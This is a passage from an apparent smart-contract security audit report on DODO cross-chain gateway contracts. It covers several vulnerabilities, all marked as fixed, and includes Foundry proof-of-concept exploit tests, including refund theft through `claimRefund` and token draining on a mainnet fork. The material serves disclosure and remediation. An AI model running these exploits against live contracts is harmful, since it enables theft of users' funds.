    address(zrc20DAI), // !!!!
    amount,
    0,
    0,
    new address[](1),
    new address[](1),
    new address[](1),
    0,
    new bytes[](1),
    abi.encode(address(0), 0),
    block.timestamp + 600
);
bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
bytes memory fromTokenB = abi.encodePacked(address(dai));
bytes memory toTokenB = abi.encodePacked(address(dai));
bytes memory swapDataB = "";
bytes memory accounts = "";
bytes memory message = encodeMessage(
    dstChainId,
    targetZRC20,
    sender,
    receiver,
    swapDataZ,
    contractAddress,
    abi.encodePacked(fromTokenB, toTokenB, swapDataB),
    accounts
);

vm.prank(attacker);
gatewayTransferNative.withdrawToNativeChain(address(zrc20DAI), amount, message);
```

```
    // Deposit 1 DAI got 2500 DAI
    assertEq(zrc20DAI.balanceOf(attacker), 0);
    assertEq(dai.balanceOf(attacker), 2500 * 1e18);
}
```

Run the test:

```
forge test --match-contract GatewayTransferNativeTest --match-test
↪  test_WithdrawValuableTokens --fork-url
↪  https://zetachain-mainnet.g.allthatnode.com/archive/evm
```

```
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.26
[⠢] Solc 0.8.26 finished in 23.72s
Compiler run successful!

Ran 1 test for test/GatewayTransferNative.t.sol:GatewayTransferNativeTest
[PASS] test_WithdrawValuableTokens() (gas: 1888387)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.84ms (2.11ms CPU
↪  time)

Ran 1 test suite in 529.76ms (9.84ms CPU time): 1 tests passed, 0 failed, 0 skipped
↪  (1 total tests)
```

Mitigation

In `GatewayTransferNative`, within the `withdrawToNativeChain` function, before calling `_doMixSwap`, add checks to ensure `params.fromToken` (derived from `message` via `decoded.swapDataZ`) matches the `zrc20` argument provided by the user, and `params.fromTokenAmount` is not more than the (post-fee) `amount` argument.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/33

Issue H-5: Unauthorized Claim of Non-EVM Chain Refunds in claimRefund Function

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/873

Found by

0xAura, 0xEkko, 0xShoonya, 0xfleeb, 0xiehnnkta, 0xkshama-pana, 0xlucky, 0xzey, Abhan1041, Aenovir, AestheticBhai, AnomX, Bbash, BimBamBuki, Bizarro, ChaosSR, Egbe, EgisSecurity, ElmInNyc99, Etherking, FlandreS, Flashloan44, Goran, Greese, HarryBarz, HeckerTrieuTien, IvanFitro, Joseph_Nwodoh, MRXSNOWDEN, Ocean_Sky, OrangeSantra, PNS, Pianist, SafetyBytes, Smacaud, X0sauce, Yaneca_b, Ziusz, befree3x, benjamin_0923, chaos304, coin2own, dreamcoder, edger, elolpuer, freeking, iamandreiski, jongwon, miracleworker0118, newspacexyz, oxch0w, pyk, radevweb3, rahim7x, redtrama, richa, rsam_eth, shushu, skipper, stonejiajia, tourist, wellbyt3

Summary

The `claimRefund` function in both `GatewayTransferNative.sol` and `GatewayCrossChain.sol` contains a critical authorization flaw that allows any user to claim refunds intended for non-EVM chains (such as Bitcoin). This occurs due to improper access control logic that fails to properly validate the caller's authority when the refund is for a non-EVM address.

Root Cause

The vulnerability stems from flawed conditional logic in the claimRefund function:

```
function claimRefund(bytes32 externalId) external {
    RefundInfo storage refundInfo = refundInfos[externalId];

    address receiver = msg.sender;  // Default to caller
    if(refundInfo.walletAddress.length == 20) {
        receiver = address(uint160(bytes20(refundInfo.walletAddress)));
    }
    require(bots[msg.sender] || msg.sender == receiver, "INVALID_CALLER");
    // ... transfer logic
}
```

The problem: When `walletAddress.length != 20` (non-EVM addresses), `receiver` remains `msg.sender`, making the authorization check `require(bots[msg.sender] || msg.sender == msg.sender)`, which simplifies to `require(bots[msg.sender] || true)` - always passing for any caller.

Internal Pre-conditions

Attacker monitors `EddyCrossChainRefund` events for refunds with non-EVM addresses

External Pre-conditions

NA

Attack Path

1. **Monitoring**: Attacker monitors `EddyCrossChainRefund` events for refunds with non-EVM addresses
2. **Identification**: Filter for refunds where `walletAddress.length != 20` (Bitcoin, Solana, etc.)
3. **Front-running**: Submit `claimRefund` transaction with higher gas to execute before legitimate bot
4. **Exploitation**: Due to flawed logic, the require statement passes and funds are transferred to attacker
5. **Theft Complete**: Attacker receives tokens intended for legitimate users on non-EVM chains

Impact

Complete theft of all non-EVM chain refunds with minimal cost (only gas fees).

PoC

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import {IZRC20} from
↪  "@zetachain/protocol-contracts/contracts/zevm/interfaces/IZRC20.sol";
import "@zetachain/protocol-contracts/contracts/zevm/interfaces/IGatewayZEVM.sol";
import {UniswapV2Library} from "../contracts/libraries/UniswapV2Library.sol";
import {SwapDataHelperLib} from "../contracts/libraries/SwapDataHelperLib.sol";
import {BaseTest} from "./BaseTest.t.sol";
import {console} from "forge-std/console.sol";

/* forge test --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public */
contract GatewayCrossChainPOCTest is BaseTest {

    function test_PoC_ClaimRefundVulnerability() public {
```

```
        // ### SETUP ###

        // Setup: Create a refund for a Bitcoin address (non-EVM, >20 bytes)
        bytes32 externalId = keccak256(abi.encodePacked("bitcoin-refund-test"));
        uint256 refundAmount = 10000 ether; // 10,000 tokens
        address refundToken = address(token1Z); // Valuable token

        // Bitcoin address (more than 20 bytes) - this is the legitimate user's
↪   address
        bytes memory bitcoinAddress = "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh";

        // Attacker address
        address attacker = address(0x999);

        // Fund the contract with the refund token
        token1Z.mint(address(gatewayCrossChain), refundAmount);

        // Create a refund scenario using onAbort (simulating a failed Bitcoin
↪   transaction)
        vm.prank(address(gatewayZEVM));
        gatewayCrossChain.onAbort(
            AbortContext({
                sender: abi.encode(address(this)),
                asset: refundToken,
                amount: refundAmount,
                outgoing: false,
                chainID: 8332, // Bitcoin chain ID
                revertMessage: bytes.concat(externalId, bitcoinAddress)
            })
        );

        // Verify the refund was created
        (bytes32 storedExternalId, address storedToken, uint256 storedAmount, bytes
↪   memory storedWalletAddress) =
            gatewayCrossChain.refundInfos(externalId);

        assertEq(storedExternalId, externalId, "Refund should be created");
        assertEq(storedToken, refundToken, "Token should match");
        assertEq(storedAmount, refundAmount, "Amount should match");
        assertEq(storedWalletAddress, bitcoinAddress, "Bitcoin address should be
↪   stored");

        // Record initial balances
        uint256 contractInitialBalance =
↪   token1Z.balanceOf(address(gatewayCrossChain));
        uint256 attackerInitialBalance = token1Z.balanceOf(attacker);

        console.log("=== BEFORE ATTACK ===");
        console.log("Contract balance:", contractInitialBalance);
        console.log("Attacker balance:", attackerInitialBalance);
```

```
        console.log("Bitcoin address length:", bitcoinAddress.length, "bytes");

        // ### ATTACK ###

        // The attacker (any random address) calls claimRefund
        // This should fail but currently succeeds due to the vulnerability
        vm.prank(attacker);
        gatewayCrossChain.claimRefund(externalId);

        // ### VERIFICATION ###

        uint256 contractFinalBalance =
↪   token1Z.balanceOf(address(gatewayCrossChain));
        uint256 attackerFinalBalance = token1Z.balanceOf(attacker);

        console.log("=== AFTER ATTACK ===");
        console.log("Contract balance:", contractFinalBalance);
        console.log("Attacker balance:", attackerFinalBalance);

        // Verify the attack succeeded
        assertEq(attackerFinalBalance, attackerInitialBalance + refundAmount,
↪   "Attacker should have stolen the refund");
        assertEq(contractFinalBalance, contractInitialBalance - refundAmount,
↪   "Contract should have lost the refund");

        // Verify the refund record was deleted
        (bytes32 deletedExternalId, , , ) =
↪   gatewayCrossChain.refundInfos(externalId);
        assertEq(deletedExternalId, bytes32(0), "Refund record should be deleted");

        console.log("=== ATTACK ANALYSIS ===");
        console.log("Attack successful: Attacker stole", refundAmount / 1e18,
↪   "tokens intended for Bitcoin user");
        console.log("Vulnerability: walletAddress.length =", bitcoinAddress.length,
↪   "(not 20 bytes)");
        console.log("This means: require(bots[attacker] || attacker == attacker) =
↪   require(false || true) = true");
    }

    function test_PoC_ClaimRefundVulnerability_CompareWithEVM() public {
        // ### COMPARISON: Show how EVM addresses are protected but non-EVM are not
↪   ###

        bytes32 evmExternalId = keccak256(abi.encodePacked("evm-refund-test"));
        bytes32 btcExternalId = keccak256(abi.encodePacked("btc-refund-test"));
        uint256 refundAmount = 1000 ether;
        address refundToken = address(token1Z);
        address attacker = address(0x888);

        // Create EVM refund (20 bytes)
```

```
        bytes memory evmAddress = abi.encodePacked(user2); // 20 bytes

        // Create Bitcoin refund (>20 bytes)
        bytes memory bitcoinAddress = "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh";

        // Fund contract
        token1Z.mint(address(gatewayCrossChain), refundAmount * 2);

        // Create both refunds
        vm.startPrank(address(gatewayZEVM));
        gatewayCrossChain.onAbort(
            AbortContext({
                sender: abi.encode(address(this)),
                asset: refundToken,
                amount: refundAmount,
                outgoing: false,
                chainID: 1,
                revertMessage: bytes.concat(evmExternalId, evmAddress)
            })
        );

        gatewayCrossChain.onAbort(
            AbortContext({
                sender: abi.encode(address(this)),
                asset: refundToken,
                amount: refundAmount,
                outgoing: false,
                chainID: 8332,
                revertMessage: bytes.concat(btcExternalId, bitcoinAddress)
            })
        );
        vm.stopPrank();

        console.log("=== TESTING PROTECTION MECHANISMS ===");
        console.log("EVM address length:", evmAddress.length, "bytes");
        console.log("Bitcoin address length:", bitcoinAddress.length, "bytes");

        // Try to steal EVM refund (should fail)
        vm.prank(attacker);
        vm.expectRevert("INVALID_CALLER");
        gatewayCrossChain.claimRefund(evmExternalId);
        console.log("EVM refund protected: Attacker cannot claim");

        // Try to steal Bitcoin refund (should fail but doesn't)
        uint256 attackerBalanceBefore = token1Z.balanceOf(attacker);
        vm.prank(attacker);
        gatewayCrossChain.claimRefund(btcExternalId); // This succeeds!
        uint256 attackerBalanceAfter = token1Z.balanceOf(attacker);
```

```
        assertEq(attackerBalanceAfter, attackerBalanceBefore + refundAmount,
↪  "Bitcoin refund was stolen");
        console.log("Bitcoin refund vulnerable: Attacker successfully claimed",
↪  refundAmount / 1e18, "tokens");

        // Show that legitimate EVM user can still claim their refund
        vm.prank(user2);
        gatewayCrossChain.claimRefund(evmExternalId);
        assertEq(token1Z.balanceOf(user2), refundAmount, "Legitimate EVM user got
↪  their refund");
        console.log("Legitimate EVM user successfully claimed their refund");
    }

}
```

Test Result:

Mitigation

Implement proper authorization checks that differentiate between EVM and non-EVM addresses.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/24

Issue M-1: Incorrect amount of zrc20 approved in GatewayTransferNative causing loss of fund and D OS

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/230

Found by

Cybrid, EgisSecurity, Phaethon, bladeee, farismaulana, huntl, m3dython, newspacexyz, rsam_eth

Summary

In `GatewayTransferNative.sol::_handleEvmOrSolanaWithdraw()`, the contract approved `outputAmount+gasFee` tokens to `GatewayZEVM` but the `GatewayZEVM` will only use `outputAmount` tokens. Attackers could make use of this extra approved `gasFee` to attack the contract using the public function `GatewayTransferNative::withdraw()`.

Root Cause

https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewayCrossChain.sol#L379C5-L440C6

When users want to withdraw tokens from zetachain to an evm chain, the function above will be called. For simplicity, let's consider that user wants to withdraw ETH to Ethereum from zetachain.

He calls `withdrawToNativeChain(ETH,1000e18,message)`. The `_handleFeeTransfer()` function will take 1000 ether from user and send 0.5% to `TreasurySafe`. Now `outputAmount=amount=995ether`, and then `_handleEvmOrSolanaWithdraw()` is called. In this function, `GatewayTransferNative` approve `GatewayZEVM` for `outputAmount+gasFee` ETH but it set `amountsOutTarget` to `outputAmount-gasFee`. Finally in `GatewayZEVM` contract, only `outputAmount-gasFee` ETH and `gasFee` ETH for gasfee is charged.

After the transaction, there are still `gasFee` amount of ETH in allowance of `GatewayTransferNative` to `GatewayZEVM`. If now `GatewayTransferNative` has a positive ETH balance (for example, in refunds) , it's possible for attackers to spend `gasFee` amount of ETH and the contract lose money.

Internal Pre-conditions

`GatewayTransferNative` has a positive balance of gas tokens

External Pre-conditions

gasprice decreases sometimes

Attack Path

Suppose `GatewayTransferNative` has an ETH balance waiting for refunding and someone has withdrawn ETH from zetachain to Ethereum. As explained in the root cause, now `ETH.allowance(GatewayTransferNative,GatewayZEVM)` is `gasFee`. Notice that `gasFee` is calculated by `gasPrice*gasLimit` where `gasLimit` is fixed. 1.When `gasPrice` decreases to `gasPrice1` , Alice set `amount=(gasPrice-gasPrice1)*gasLimit`. 2.Alice call `GatewayTransferNative::withdraw()` with outputToken:ETH and amount above. 3. `GatewayZEVM` will charge `GatewayTransferNative` for `gasFee1=gasPrice1*gasLimit`ETH and `amount=(gasPrice-gasPrice1)*gasLimit`ETH 4. In total the previous allowance is consumed to 0 now.

The cost of the attacker: some gas fee in ZETA, worth nothing(ZETA price $0.2 now ,negligible) The `GatewayTransferNative` lose: `gasFee` in ETH (ETH price $2491)

Impact

The `GatewayTransferNative` contract could suffer a loss of `gasFee` after every cross-chain call. Right now the `gasFee` is only a small value of USD even on Ethereum mainnet, but in the future, as the gas price goes up and more and more transactions passing through the contract, it could be a non-negligible number. Even worse, after losing the `gasFee`, `GatewayTransferNative` contract doesn't have enough balance to pay the refunds which leads to DOS for a honest users claiming their refund.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/34

Issue M-2: ETH Address Approval Attempt Causes All Zeta Swaps to Revert

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/304

Found by

0xc0ffEE, 10ap17, AnomX, Cybrid, IvanFitro, SarveshLimaye, elolpuer, eta, farismaulana, shushu, silver_eth, the_haritz, wellbyt3

Summary

Attempting to call `approve()` on the ETH placeholder address will cause transaction reverts for all users trying to swap ETH as the contract treats the non-contract ETH address as an ERC20 token.

https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewayTransferNative.sol#L425-L434

Root Cause

In `GatewayTransferNative_doMixSwap` , the contract unconditionally calls `IZRC20(params.fromToken).approve(DODOApprove, amount)` without checking if `params.fromToken` is the ETH placeholder address (`0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE`), which is not a valid contract.

A similar issue exists in the GatewayCrossChain contract, where `approve()` is also called without validating whether the token is native ETH.

Internal Pre-conditions

1. User needs to call `withdrawToNativeChain()` with `zrc20` parameter as `_ETH_ADDRESS_`
2. The decoded message needs to contain `swapData.length > 0` to trigger the swap logic

External Pre-conditions

None

Attack Path

1. User calls `withdrawToNativeChain()` with ETH address and swap data

2. Function calls `_doMixSwap()` with `params.fromToken` set to ETH address
3. `_doMixSwap()` attempts to call `approve()` on the ETH placeholder address
4. Transaction reverts because ETH address is not a valid ERC20 contract

Impact

All users attempting to swap Zeta cannot execute their transactions, making the Zeta swap functionality completely non-functional.

PoC

No response

Mitigation

```
function _doMixSwap(
    bytes memory swapData,
    uint256 amount,
    MixSwapParams memory params
) internal returns (uint256 outputAmount) {
    if (swapData.length == 0) {
        return amount;
    }

-   IZRC20(params.fromToken).approve(DODOApprove, amount);
+   if (params.fromToken != _ETH_ADDRESS_) {
+       IZRC20(params.fromToken).approve(DODOApprove, amount);
+   }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/28/files

Issue M-3: onCall function has missing fee deduction update prior swap.

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/626

Found by

0xEkko, 0xiehnnkta, 0xlucky, 10ap17, Abhan1041, AnomX, CoheeYang, Cybrid, EgisSecurity, Ocean_Sky, Yaneca_b, ZeroTrust, anirruth_, bladeee, cccz, elolpuer, hieutrinh02, hunt1, iamandreiski, malm0d, miracleworker0118, newspacexyz, roadToWatsonN101, rsam_eth, seeques, shivansh2580, tyuuu, wellbyt3

Summary

During zrc-20 `depositAndCall` operation, onCall function of `GatewayTransferNative` contract will revert due to missing update of `amount` to be used in swap in DODO Router. This amount is already deducted by platform fees, therefore need to be updated prior to the swap operation. The swap execution will always pull up a whole amount but in reality this is already deducted by fees, therefore guaranteed revert due to insufficient funds.

This can also be opportunity as attack vector for malicious attacker depending on situation like if the contract `GatewayTransferNative` has refund stored in it prior `depositAndCall` operation.

Root Cause

The real root cause is the missing update on the `amount` to be swapped in DODO Router. This `amount` should be deducted by platform fees prior to the swap operation to avoid revert. Look at line 370, the platform fees is already physically transferred to the protocol treasury, however this amount was never updated prior to the swap operation in line 395, this will cause guaranteed revert.

```
File: GatewayTransferNative.sol
357:     function onCall(
358:         MessageContext calldata context,
359:         address zrc20, // this could be wzeta token
360:         uint256 amount, // @audit this should be updated prior swap but no
↪  deduction happened
361:         bytes calldata message
362:     ) external override onlyGateway {
363:         // Decode the message
364:         // 32 bytes(externalId) + bytes message
365:         (bytes32 externalId) = abi.decode(message[0:32], (bytes32));
366:         bytes calldata _message = message[32:];
```

```
367:         (DecodedNativeMessage memory decoded, MixSwapParams memory params) =
 ↪  SwapDataHelperLib.decodeNativeMessage(_message);
368:
369:         // Fee for platform
370:         uint256 platformFeesForTx = _handleFeeTransfer(zrc20, amount); //
 ↪  @audit , fees already transferred to treasury
371:         address receiver = address(uint160(bytes20(decoded.receiver)));
372:
~ skip
392:             );
393:         } else {
394:             // Swap on DODO Router
395:             uint256 outputAmount = _doMixSwap(decoded.swapData, amount,
 ↪  params); //@audit amount here is not deducted by fees, therefore revert.
396:
```

Detail of `_doMixSwap` below

```
File: GatewayTransferNative.sol
425:     function _doMixSwap(
426:         bytes memory swapData,
427:         uint256 amount,  //@note, expected to be equal in line 438
428:         MixSwapParams memory params
429:     ) internal returns (uint256 outputAmount) {
430:         if (swapData.length == 0) {
431:             return amount;
432:         }
433:
434:         IZRC20(params.fromToken).approve(DODOApprove, amount);
435:         return IDODORouteProxy(DODORouteProxy).mixSwap{value: msg.value}(
436:             params.fromToken,
437:             params.toToken,
438:             params.fromTokenAmount, //@note amount to be used in swapping
 ↪  expected to be equal to amount in line 427
439:             params.expReturnAmount,
440:             params.minReturnAmount,
441:             params.mixAdapters,
442:             params.mixPairs,
443:             params.assetTo,
444:             params.directions,
445:             params.moreInfo,
446:             params.feeData,
447:             params.deadline
448:         );
449:     }
```

Inside `mixSwap` function found in DODORouteProxy contract

```
_deposit(msg.sender, …, _fromTokenAmount);
```

```
…
IDODOApproveProxy.claimTokens(token, from, to, _fromTokenAmount); //
↪  _fromTokenAmount used in claiming tokens
```

Inside `claimTokens` function found in DODOApprove contract

```
File: DODOApprove.sol
72:     function claimTokens(
73:         address token,
74:         address who,
75:         address dest,
76:         uint256 amount //@ note , this is the _fromTokenAmount
77:     ) external {
78:         require(msg.sender == _DODO_PROXY_, "DODOApprove:Access restricted");
79:         if (amount > 0) {
80:             IERC20(token).safeTransferFrom(who, dest, amount); //@audit, this
↪  will just revert due to insufficient funds
81:         }
82:     }
```

The protocol may argue that the `fromTokenAmount` in_doMixSwap parameters can easily be changed by the user in order for swap to be successful. This may be correct but there are two situations we need to emphasize here.

1. If the `GatewayTransgerNative` has no refunds stored. - User is expected to use that `fromTokenAmount` is equal to the `amount` to be swap or transfer as the user is no longer expected to compute again the net remaining as this is expected for the logic contract to do its job for smooth experience of the users. The impact of this issue is just revert. If they want the swap to be successful, they will just change `fromTokenAmount` manually but unnecessary computation burden for user.
2. If the `GatewayTransferNative` has refunds stored. - This could be an attack vector by users who knows the vulnerability. They won't change the `fromTokenAmount` and allows to use the over-allowance given to the user. Over-allowance because the allowance given exceeded the amount that should be allowed to be transferred. For example , the whole amount is 100 which is given allowance however it should be 95 only (net of 5 fees) , because 5 for fees is already transferred to treasury. If they are able to transferred the whole 100, there is a tendency that they will be able to steal some refunds amounting 5 deposited there during that time.

Please be reminded that `GatewayTransferNative` is storing funds for refunds. This could be in danger to be stolen via this vulnerability. Look at the mapping variable storage below.

```
File: GatewayTransferNative.sol
32:     mapping(bytes32 => RefundInfo) public refundInfos; // externalId =>
↪  RefundInfo, storage for refund records
```

Internal Pre-conditions

1. When cross-chain operation involves DODO router swap call in destination chain Zetachain.

External Pre-conditions

none

Attack Path

Scenario A: This could be the scenario if the the `GatewayTransferNative` has no refunds stored.

Step	Contract balance (zrc-20)	Allowance set	RouteProxy tries to pull	Outcome
Deposited 1,000 zrc-20 amount from `depositAndCall`	1 000	–	–	–
`_handleFeeTransfer` (0.5 %)	**995**	–	–	Treasury receives 5
`_doMixSwap`	995	**approve 1 000**	–	approved the amount which still includes the fees transferred.
`_deposit → claimTokens`	995	1 000	**1 000**	**Revert (insufficient balance)**
Swap aborted	–	–	–	`onCall` reverts, swap operation cancelled

Scenario B: This could be the scenario if the the `GatewayTransferNative` has refunds stored.

Step	Contract balance (zrc-20)	Allowance set	RouteProxy tries to pull	Outcome
5 zrc-20 tokens refund currently stored in contract	5	–	–	–
Deposited 1,000 zrc-20 amount from `depositAndCall`	1 005	–	–	–
`_handleFeeTransfer` (0.5 %)	**1000**	–	–	Treasury receives 5
`_doMixSwap`	1000	**approve 1 000**	–	approved the amount which still includes the fees transferred.
`_deposit → claimTokens`	1000	1 000	**1 000**	**OK (sufficient balance)**
Swap successful	–	–	–	`onCall` success, excess of 5 is pulled out from refund

As you can see here, the refund of 5 zrc-20 tokens is pulled out from the last step (included in 1000 amount). This can be equivalent to stolen funds as the contract has no remaining funds left.

Impact

The onCall function will either revert or can cause loss of funds.

PoC

see attack path

Mitigation

Update the amount prior the swap operation.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/29

Issue M-4: Bug in AccountEncoder causes wrong Solana account permissions

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/633

Found by

1337, EgisSecurity, Goran, HeckerTrieuTien, JuggerNaut, coin2own, dhank

Summary

When users bridge assets to Solana, they specify a list of accounts and if accounts should be read-only (protected) versus writable (modifiable). This is a critical security feature that prevents unauthorized access to user funds. However, a data parsing bug in `AccountEncoder` systematically corrupts these permission settings, marking user accounts as writable when they should be protected as read-only. This affects 100% of Solana bridge transactions. As a consequence, potential unauthorized token transfers or account state changes can occur.

Root Cause

Library `AccountEncoder` implements decompressAccounts function which takes bytes array as input and parses account info out of it:

```
function decompressAccounts(bytes memory input) internal pure returns (Account[]
↪  memory accounts) {
    assembly {
          let ptr := add(input, 32)

          // Read accounts length (uint16)
          let len := add(shl(8, byte(0, mload(ptr))), byte(1, mload(ptr)))
          ptr := add(ptr, 2)

          // Allocate memory for Account[] array
          accounts := mload(0x40)
          mstore(accounts, len)
          let arrData := add(accounts, 32)

        // Prepare memory for Account structs
        let freePtr := add(arrData, mul(len, 32))

        for { let i := 0 } lt(i, len) { i := add(i, 1) } {
            let acc := freePtr
            freePtr := add(freePtr, 64)
```

```
            // Load publicKey
            mstore(acc, mload(ptr))
            ptr := add(ptr, 32)

            // Load isWritable (as bool)
             // @audit Reads 32 bytes for 1-byte boolean
            mstore(add(acc, 32), iszero(iszero(mload(ptr))))
            ptr := add(ptr, 1)

            // Store pointer to struct in the array
            mstore(add(arrData, mul(i, 32)), acc)
        }

        mstore(0x40, freePtr)
    }
}
```

In the assembly loop, the code reads 32 bytes with `mload(ptr)` when parsing boolean values that should only be 1 byte. This causes the boolean logic `iszero(iszero(...))` to evaluate the intended 1-byte boolean plus the first 31 bytes of the next account's public key. Since public keys contain non-zero bytes, the boolean always becomes true regardless of the user's intention.

Internal Pre-conditions

1. User initiates Solana bridge transaction `(decoded.dstChainId == SOLANA_EDDY)`
2. Transaction contains multiple accounts in compressed format
3. Function `decompressAccounts()` is called to parse account metadata before Solana execution

External Pre-conditions

None

Attack Path

This is not an attack but systematic corruption affecting every multi-account Solana transaction:

1. User provides correctly formatted compressed account data: `[count][pubkey1][bool1][pubkey2][bool2]`
2. User intends Account 1 as read-only (bool1 = false) to protect their token balance

3. `decompressAccounts()` parses Account 1's boolean by reading `[bool1 + first_31_bytes_of_pubkey2]`
4. Since pubkey2 contains non-zero bytes, `iszero(iszero(non-zero))` returns true
5. Account 1 gets marked as `isWritable: true` instead of user's intended `false`
6. Transaction executes on Solana with corrupted permissions
7. Solana programs can now modify Account 1 when user expected it to remain untouched
8. Potential unauthorized token transfers or account state changes occur

Impact

High severity - user accounts intended as read-only systematically get marked as writeable. This affects 100% of Solana bridge transactions with multiple accounts and occurs silently without any indication to users that their security assumptions are violated, potentially resulting in unexpected fund drains or account modifications.

PoC

This test case showcases the problem:

```
function test_accounts() public {
    bytes32[] memory publicKeys = new bytes32[](2);
    publicKeys[0] = keccak256(abi.encodePacked(block.timestamp));
    publicKeys[1] = keccak256(abi.encodePacked(block.timestamp + 1));
    bool[] memory isWritables = new bool[](2);
    isWritables[0] = false;
    isWritables[1] = true;

    console.log("----User provided values:");

    console.logBytes32(publicKeys[0]);
    console.log(isWritables[0]);

    console.logBytes32(publicKeys[1]);
    console.log(isWritables[1]);

    bytes memory compressed = compressAccounts(publicKeys, isWritables);

    console.log("\n");
    console.log("(----Parsed values");

    console.logBytes32(AccountEncoder.decompressAccounts(compressed)[0].publicKey);
    console.log(AccountEncoder.decompressAccounts(compressed)[0].isWritable);

    console.logBytes32(AccountEncoder.decompressAccounts(compressed)[1].publicKey);
```

```
    console.log(AccountEncoder.decompressAccounts(compressed)[1].isWritable);
}
```

Run it:

```
  forge test --mt test_accounts -vvv

Logs:
  ----User provided values:
  0xb335f44a2f5f0b13a7007be5f03a32df2fe6c27804d6e6ea21294eb0705e09b4
  false
  0x2186009e2f515bf15a0990ff378c583734095fd9ed9c46c3d15e33a8daf0a619
  true


  ----Parsed values
  0xb335f44a2f5f0b13a7007be5f03a32df2fe6c27804d6e6ea21294eb0705e09b4
  true
  0x2186009e2f515bf15a0990ff378c583734095fd9ed9c46c3d15e33a8daf0a619
  true
```

We can see that the "isWriteable" flag for the first account got parsed as `true` when it is actually `false`

Mitigation

Extract only the first byte:

```
mstore(add(acc, 32), shr(248, mload(ptr)))
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/31

Issue M-5: Executing withdrawToNativeChain with Zeta as fromToken will not be possible

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/660

Found by

10ap17, AnomX, Cybrid, farismaulana, newspacexyz, rsam_eth

Summary

Executing withdrawToNativeChain with ZETA as fromToken will fail when a non-zero fee is set, due to a mismatch between msg.value and fromTokenAmount passed to mixSwap.

Root Cause

When a user wants to execute withdrawToNativeChain with ZETA as fromToken, they send some ZETA with msg.value, set the zrc20 variable to the native token, and specify the same amount of ZETA as sent via msg.value. After that, the fee gets paid (let's imagine that the issue where it's not possible to pay the fee when ZETA is the zrc20 is fixed), and now _doMixSwap is called and the full msg.value is sent to the mixSwap, even though the fee was paid with a fraction of that value. The swap will fail because there will be a mismatch between msg.value and fromTokenAmount (the value sent to mixSwap should be mixSwap{value: msg.value-fee}(...)), which would be adjusted to account for the fee that was transferred to EddyTreasurySafe.

```
function mixSwap(
        address fromToken,
        address toToken,
        uint256 fromTokenAmount,
        uint256 expReturnAmount,
        uint256 minReturnAmount,
        address[] memory mixAdapters,
        address[] memory mixPairs,
        address[] memory assetTo,
        uint256 directions,
        bytes[] memory moreInfos,
        bytes memory feeData,
        uint256 deadLine
    ) external payable judgeExpired(deadLine) returns (uint256) {
        require(mixPairs.length > 0, "DODORouteProxy: PAIRS_EMPTY");
        require(mixPairs.length == mixAdapters.length, "DODORouteProxy:
↪  PAIR_ADAPTER_NOT_MATCH");
```

```
        require(mixPairs.length == assetTo.length - 1, "DODORouteProxy:
↪  PAIR_ASSETTO_NOT_MATCH");
        require(minReturnAmount > 0, "DODORouteProxy: RETURN_AMOUNT_ZERO");

        address _fromToken = fromToken;
        address _toToken = toToken;
        uint256 _fromTokenAmount = fromTokenAmount;
        uint256 _expReturnAmount = expReturnAmount;
        uint256 _minReturnAmount = minReturnAmount;
        address[] memory _mixAdapters = mixAdapters;
        address[] memory _mixPairs = mixPairs;
        address[] memory _assetTo = assetTo;
        uint256 _directions = directions;
        bytes[] memory _moreInfos = moreInfos;
        bytes memory _feeData = feeData;

        uint256 toTokenOriginBalance;
        if(_toToken != _ETH_ADDRESS_) {
            toTokenOriginBalance =
↪  IERC20(_toToken).universalBalanceOf(address(this));
        } else {
            toTokenOriginBalance = IERC20(_WETH_).universalBalanceOf(address(this));
        }

        // transfer in fromToken
        bool isETH = _fromToken == _ETH_ADDRESS_;
        _deposit(
            msg.sender,
            _assetTo[0],
            _fromToken,
            _fromTokenAmount,
            isETH
        );
.
.
.
}
```

If we check the _deposit() function where the isEth flag and amount are passed (amount is equal to fromTokenAmount), we can spot that the msg.value and amount have to be equal.

```
function _deposit(
        address from,
        address to,
        address token,
        uint256 amount,
        bool isETH
    ) internal {
```

```
        if (isETH) {
            if (amount > 0) {
                require(msg.value == amount, "ETH_VALUE_WRONG");
                IWETH(_WETH_).deposit{value: amount}();
                if (to != address(this)) SafeERC20.safeTransfer(IERC20(_WETH_), to,
↪   amount);
            }
        } else {
            IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to,
↪   amount);
        }
    }
```

Since they will not be equal, the attempt to swap ZETA to a certain ZRC20 will fail.

https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewayTransferNative.sol#L435

Internal Pre-conditions

/

External Pre-conditions

/

Attack Path

